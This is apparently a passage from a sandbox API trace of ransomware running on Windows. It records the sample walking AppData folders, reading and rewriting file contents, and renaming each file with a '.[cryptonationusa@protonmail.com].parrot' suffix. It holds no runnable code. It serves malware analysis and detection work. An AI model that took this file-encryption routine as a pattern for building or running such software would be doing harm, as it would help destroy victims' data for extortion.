ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126775, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0076.085] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.085] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0076.086] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.086] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x100000, lpOverlapped=0x0) returned 1 [0076.142] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.142] WriteFile (in: hFile=0x260, lpBuffer=0x6a8620*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x6a8620*, lpNumberOfBytesWritten=0x18f4b4*=0x118, lpOverlapped=0x0) returned 1 [0076.142] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.142] WriteFile (in: hFile=0x260, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18f4b4*=0x100000, lpOverlapped=0x0) returned 1 [0076.149] UnlockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12688d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.150] CloseHandle (hObject=0x260) returned 1 [0076.164] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d85d8 | out: hHeap=0x5b0000) returned 1 [0076.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0076.172] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0076.172] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.172] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.173] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.173] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.173] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0076.173] lstrcmpW (lpString1="Credentials", lpString2=".") returned 1 [0076.173] lstrcmpW (lpString1="Credentials", lpString2="..") returned 1 [0076.173] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.174] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.174] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.175] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.175] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.175] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.175] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.175] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.175] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0076.175] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0076.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0076.175] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0076.176] lstrcmpW (lpString1="Event Viewer", lpString2=".") returned 1 [0076.176] lstrcmpW (lpString1="Event Viewer", lpString2="..") returned 1 [0076.176] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.178] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.178] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.178] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.178] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.178] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.178] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.178] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.178] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0076.178] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0076.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0076.178] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0076.178] lstrcmpW (lpString1="Feeds", lpString2=".") returned 1 [0076.178] lstrcmpW (lpString1="Feeds", lpString2="..") returned 1 [0076.179] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.184] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.184] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.184] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.184] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.184] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6e0227e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1 [0076.186] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.186] ReadFile (in: hFile=0x268, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0076.187] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.188] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x1a00, lpOverlapped=0x0) returned 1 [0076.189] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.189] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b5a8 | out: hHeap=0x5b0000) returned 1 [0076.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad590 | out: hHeap=0x5b0000) returned 1 [0076.192] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.193] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.193] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.194] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.194] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.194] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1 [0076.195] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.195] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0076.197] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.197] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x7000, lpOverlapped=0x0) returned 1 [0076.201] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.202] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0076.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0076.204] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.204] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0076.206] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.206] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x7000, lpOverlapped=0x0) returned 1 [0076.207] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.208] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0076.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0076.210] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.210] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0076.212] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.212] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x7000, lpOverlapped=0x0) returned 1 [0076.213] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.214] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0076.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0076.220] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.220] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbae8cd20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbae8cd20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.221] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae66bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x7128, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MICROS~1.PAR")) returned 1 [0076.221] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.222] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.222] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, 